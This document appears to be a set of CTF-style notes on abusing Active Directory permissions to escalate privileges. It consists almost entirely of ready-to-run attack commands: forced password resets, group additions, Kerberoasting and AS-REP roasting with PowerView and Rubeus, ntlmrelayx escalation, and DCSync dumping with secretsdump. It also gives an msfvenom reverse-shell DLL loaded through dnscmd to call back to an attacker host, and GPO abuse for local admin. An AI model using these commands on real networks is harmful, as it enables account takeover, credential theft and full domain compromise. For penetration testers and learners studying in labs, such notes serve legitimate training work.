Different domain users, have different rights. Some domain users have GenericAll, GenericWrite, WriteDacl, WriteOwner privilege on other domain users or groups. We can abuse these privileges and move further in domain.

eg: (john have GenericAll priv on Exchange Windows Permissions group)

We can add user in Exchange Windows Permissions group and then we have full control.

net group "Exchange Windows Permissions" john /add /domain

GenericAll Privilege on adams user. 3-Ways.

1. We can change the adam password.

net user adams N3wPassw0rd! /domain

2. We can set adams user SPN and do Kerberoasting.

Import Powerview.ps1

Set-DomainObject -Identity adams -Set @{serviceprincipalname="fake/NOTHING"} .\Rubeus.exe kerberoast /user:jadams /nowrap

3. We can set adams account to AS-REP Roasting.

Set-DomainObject -Identity adams -XOR @{UserAccountControl=4194304} .\Rubeus.exe asreproast /user:jadams /nowrap

Here lily is the user on which we have generic write perm we can set this user to PreAuth and then by using AS-REP Roasting we can get the user hash and crack it and login into system.

Set-ADAccountControl -Identity lily -DoesNotRequirePreAuth $true

Now we can do AS-REP Roasting.

eg: claire has WriteDacl rights on the Backup_Admins group. We can add it to Backup_Admins group.

net group backup_admins net group backup_admins claire /add

NOTE: Open another shell if changes are not reflected.

dan (user) has WriteDacl Perm on DC.

using Impacket tool:

ntlmrelayx.py -t ldap://10.129.95.210 --escalate-user dan

(10.129.95.210 = target IP)

nevigate to http://127.0.0.1 and enter the user (dan & pass) now wait till it ask for you to run secretsdump.py using creds

We're tom user and getting ownership of claire and then change passwd of claire. Import Powerview.ps1.

Set-DomainObjectOwner -identity claire -OwnerIdentity tom Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword $cred = ConvertTo-SecureString "qwer1234QWER!@#$" -AsPlainText -force Set-DomainUserPassword -identity claire -accountpassword $cred

This way is just for CTFs, in real world this will gonna break the DNS service.

Step1. create a revshell via msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.x.x LPORT=4444 -f dll > shell.dll

Step2. set smbserver in the same dir where shell.dll

impacket-smbserver -smb2support share .

Step3. exploitation on target machine (we don't need to upload shell.dll)

dnscmd.exe /config /serverlevelplugindll \\10.10.x.x\share\shell.dll sc.exe stop dns sc.exe start dns

You will get a reverse shell.

login as support user and audit2020 is the user whose passwd gonna change.

rpcclient -U support 10.129.1.243 setuserinfo2 audit2020 23 'Passw0rd!' 

mrlky has Get-Changes privilege on the domain.

secretsdump.py -just-dc mrlky:Football@10.10.10.103

upload SharpGPOAbuse.exe

.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount hackzzdogs --GPOName "DCPolicy" gpupdate /force

(hackzzdogs = current user name)

(DCPolicy = Group Policy Name you can find it on bloodhound)

Now we're in local administrator group.

net loacalgroup administrators